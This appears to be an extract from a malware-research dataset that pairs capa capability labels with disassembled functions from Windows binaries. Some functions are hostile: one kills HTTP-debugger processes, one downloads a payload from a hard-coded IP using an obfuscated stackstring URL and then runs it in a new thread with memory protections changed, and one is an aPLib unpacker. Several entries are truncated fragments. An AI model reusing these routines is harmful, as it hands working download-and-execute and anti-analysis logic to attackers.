joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005330
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140005391
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140005350
mov ecx, dword [r9]
jmp 0x14000547b
cmp ecx, 0x4e0
jb 0x14000547b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x1400053b0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140005400
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x1400054c0
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
movdqa xmm0, xmmword [str.taskkill__f__im_ggerPro__nul_2_HTTPDebuggerSvc.]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x14000a010]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x25], 0x31
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x3e206578
mov dword [rbp - 0x2c], 0x206c756e
mov word [rbp - 0x28], 0x3e32
mov byte [rbp - 0x26], 0x26
mov byte [rbp - 0x23], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [str.taskkill__f__im_ggerPro__nul_2_HTTPDebuggerSvc.]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x140009ff0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x26], 0x31263e
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x20657865
mov dword [rbp - 0x2c], 0x6c756e3e
mov word [rbp - 0x28], 0x3220
mov byte [rbp - 0x22], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000a030]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x140009fe0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x30], 0x31
movdqu xmmword [rbp - 0x40], xmm1
mov byte [rbp - 0x2e], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000a060]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x14000a070]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x14000a090]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x20], 0xaad2dcbd
mov dword [rbp - 0x1c], 0x776f3edf
mov dword [rbp - 0x18], 0x3837246f
mov dword [rbp - 0x14], 0x1003921
call fcn.1400058a0
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000a060]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x14000a040]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x14000a0a0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140009fc0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x10], 1
call fcn.140005790
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000a060]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x14000a050]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x14000a080]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x14000a000]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov word [rbp - 0x10], 0x100
call fcn.140005680
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x70
pop rbp
ret
Function at 0x140006b70
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x60
mov r9, r8
mov r15, rdx
mov rbp, rcx
mov qword [rsp + 0x58], rcx
xor r12d, r12d
cmp byte [r8 + 0x1a], r12b
je 0x140006c75
movdqa xmm2, xmmword [0x140009f80]
movd xmm1, dword [r8]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8], xmm1
movdqa xmm2, xmmword [0x140009f90]
movd xmm1, dword [r8 + 4]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 4], xmm1
movdqa xmm2, xmmword [0x140009fa0]
movd xmm1, dword [r8 + 8]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 8], xmm1
movdqa xmm2, xmmword [0x140009fb0]
movd xmm1, dword [r8 + 0xc]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 0xc], xmm1
mov eax, 8
mov edx, 0x312a
nop dword [rax]
nop word [rax + rax]
lea ecx, [rdx + rax]
xor word [r8 + rax*2], cx
inc rax
cmp rax, 0xc
jb 0x140006c60
mov byte [r8 + 0x1a], r12b
add r8, 0x18
mov rdx, r9
lea rcx, [rsp + 0x30]
call fcn.140006de0
nop
mov r14, r15
cmp qword [r15 + 0x18], 7
jbe 0x140006c94
mov r14, qword [r15]
mov r15, qword [r15 + 0x10]
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
cmp r15, rax
ja 0x140006d3a
lea rax, [r15 + r8]
mov qword [rsp + 0x40], rax
lea rdi, [rsp + 0x30]
cmp rcx, 7
cmova rdi, qword [rsp + 0x30]
lea rax, [r14 + r15*2]
cmp rax, rdi
jbe 0x140006cf0
lea rax, [rdi + r8*2]
cmp r14, rax
ja 0x140006cf0
cmp rdi, r14
ja 0x140006ce5
mov rsi, r12
jmp 0x140006cf3
mov rsi, rdi
sub rsi, r14
sar rsi, 1
jmp 0x140006cf3
mov rsi, r15
lea rcx, [rdi + r15*2]
lea r8, [r8*2 + 2]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rbx, [rsi + rsi]
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8, r15
sub r8, rsi
add r8, r8
lea rax, [rsi + r15]
lea rdx, [r14 + rax*2]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x30]
jmp 0x140006d51
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov rdx, r15
lea rcx, [rsp + 0x30]
call fcn.140006f30
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140006dc4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006dbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006dbf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000729c
mov rax, rbp
add rsp, 0x60
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007bc0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007c0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007c0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007c0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007c0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140007c0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007c0c
xor al, al
add rsp, 0x28
ret
Function at 0x140001830
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002650
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002650
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400018a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000a104]
mov rbx, rcx
test esi, esi
jle 0x1400019d0
mov rax, qword [0x14000a108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400018eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001975
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400018d0
mov rcx, rbx
call fcn.1400022f0
mov rdi, rax
test rax, rax
je 0x1400019f2
mov rax, qword [0x14000a108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002430
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400019d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000196e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001980
add dword [0x14000a104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000196e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001830
nop dword [rax]
xor esi, esi
jmp 0x1400018f8
mov rax, qword [0x14000a108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001830
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001830
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f60
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000a160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a140]
test rbx, rbx
je 0x140001fbc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001fb3
test rsi, rsi
je 0x140001fb3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f98
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400022f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006150]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002310
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002318
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002310
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000236d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002364
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002310
add rax, 0x28
cmp rax, r9
jne 0x140002350
xor eax, eax
ret

Function at 0x140002370
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006150]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000238f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002398
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000238f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002430
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006150]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000244f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002458
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140002984
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400029ce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400029ce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400029ce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400029ce
cmp dword [rcx + 0x84], 0xe
jbe 0x1400029ce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400029d0
xor al, al
add rsp, 0x28
ret
Function at 0x1400086b0
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x1400086d5
cmp rax, rcx
je 0x1400086db
cmp rdx, 4
jae 0x1400086e2
xor eax, eax
xor r8d, r8d
jmp 0x140008780
pop rbp
jmp fcn.140001e80
xor eax, eax
jmp 0x140008797
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x140017360]
movdqa xmm3, xmmword [0x140017370]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140008710
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140008797
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140008780
pop rbp
ret
Function at 0x14000f960
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
cmp byte [rcx - 0x80], al
stc
add dword [rsi + 7], esi
movzx r8d, byte [rdx + 0x3a]
test r8b, 1
jne 0x14000f9ce
movzx eax, byte [rdx + 0x10]
lea r10d, [rax - 5]
Function at 0x140a8a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140a8a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140a8a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a8a06f
add dl, dl
jne 0x140a8a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a8a0f6
xor eax, eax
add dl, dl
jne 0x140a8a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a8a1ad
add dl, dl
jne 0x140a8a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a8a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a8a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a8a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140a8a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140a8a07e
mov eax, 1
add dl, dl
jne 0x140a8a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a8a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a8a0fb
sub eax, ebx
mov ebx, 1
jne 0x140a8a14c
mov ecx, 1
add dl, dl
jne 0x140a8a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a8a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a8a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a8a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140a8a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a8a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a8a15d
cmp eax, 0x7d00
jae 0x140a8a19b
cmp eax, 0x500
jb 0x140a8a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a8a07e
cmp eax, 0x7f
ja 0x140a8a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a8a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140a8a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140a8a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000110c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r9, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r10d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r10, r10
je 0x14000117b
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x14001b9f0]
mov eax, dword [r11 + rax*4]
add rsi, r9
mov ecx, 0xf
add rax, r9
repe cmpsb byte [rsi], byte [rdi]
je 0x14000117b
inc r8
cmp r8, r10
jb 0x14000114f
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret

Function at 0x140001368
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x27]
sub rsp, 0xa0
xor r13d, r13d
lea r8, [rbp + 0x67]
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x11]
mov dword [rbp - 0x11], 0x740068
mov dword [rbp - 0xd], 0x700074
mov dword [rbp - 9], 0x2f003a
mov dword [rbp - 5], 0x38002f
mov dword [rbp - 1], 0x31002e
mov dword [rbp + 3], 0x380033
mov dword [rbp + 7], 0x33002e
mov dword [rbp + 0xb], 0x2e0035
mov dword [rbp + 0xf], 0x320031
mov dword [rbp + 0x13], 0x2f0036
mov dword [rbp + 0x17], 0x610074
mov dword [rbp + 0x1b], 0x74
mov qword [rbp + 0x77], r13
mov dword [rbp + 0x67], r13d
call fcn.140001190
test al, al
jne 0x140001412
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1400014d6
call fcn.1400010e8
mov rcx, rax
mov r12, rax
call fcn.14000110c
lea rdx, [rbp - 0x39]
mov rcx, r12
mov rsi, rax
mov dword [rbp - 0x39], 0x74726956
mov dword [rbp - 0x35], 0x506c6175
mov dword [rbp - 0x31], 0x65746f72
mov word [rbp - 0x2d], 0x7463
mov byte [rbp - 0x2b], r13b
mov dword [rbp - 0x49], 0x61657243
mov dword [rbp - 0x45], 0x68546574
mov dword [rbp - 0x41], 0x64616572
mov byte [rbp - 0x3d], r13b
mov dword [rbp - 0x29], 0x74696157
mov dword [rbp - 0x25], 0x53726f46
mov dword [rbp - 0x21], 0x6c676e69
mov dword [rbp - 0x1d], 0x6a624f65
mov dword [rbp - 0x19], 0x746365
call rsi
lea rdx, [rbp - 0x49]
mov rcx, r12
mov rbx, rax
call rsi
lea rdx, [rbp - 0x29]
mov rcx, r12
mov rdi, rax
call rsi
mov rcx, qword [rbp + 0x77]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 0x6f]
mov rsi, rax
call rbx
mov r8, qword [rbp + 0x77]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call rdi
or edx, 0xffffffff
mov rcx, rax
call rsi
add rsp, 0xa0
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x140001dc0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140003f7c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003dec
Function at 0x14000d410
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14001f620]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140004d20
xor ebx, ebx
cmp qword [0x140020d50], rbx
mov rdi, rax
jne 0x14000d523
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000d5fa
lea rdx, [0x140019e80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000d5fa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140020d50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140020d58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140020d60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140020d70], rax
test rax, rax
je 0x14000d51a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140020d68], rax
jmp 0x14000d52a
mov rax, qword [0x140020d68]
jmp 0x14000d531
mov rax, qword [0x140020d68]
mov r11, qword [0x140020d70]
cmp rax, rdi
je 0x14000d598
cmp r11, rdi
je 0x14000d598
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140020d70]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000d598
test rax, rax
je 0x14000d598
call rsi
test rax, rax
je 0x14000d592
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000d592
test byte [rsp + 0x40], 1
jne 0x14000d598
bts ebp, 0x15
jmp 0x14000d5d8
mov rcx, qword [0x140020d58]
cmp rcx, rdi
je 0x14000d5d8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000d5d8
call rax
mov rbx, rax
test rax, rax
je 0x14000d5d8
mov rcx, qword [0x140020d60]
cmp rcx, rdi
je 0x14000d5d8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000d5d8
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140020d50]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000d5fa
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000d5fc
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000d850
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000ecaf
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001f620]
jne 0x14000d86a
rol rcx, 0x10
test cx, 0xffff
jne 0x14000d866
repz ret
ror rcx, 0x10
jmp 0x14000ec08
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140020e40]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140020f38]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
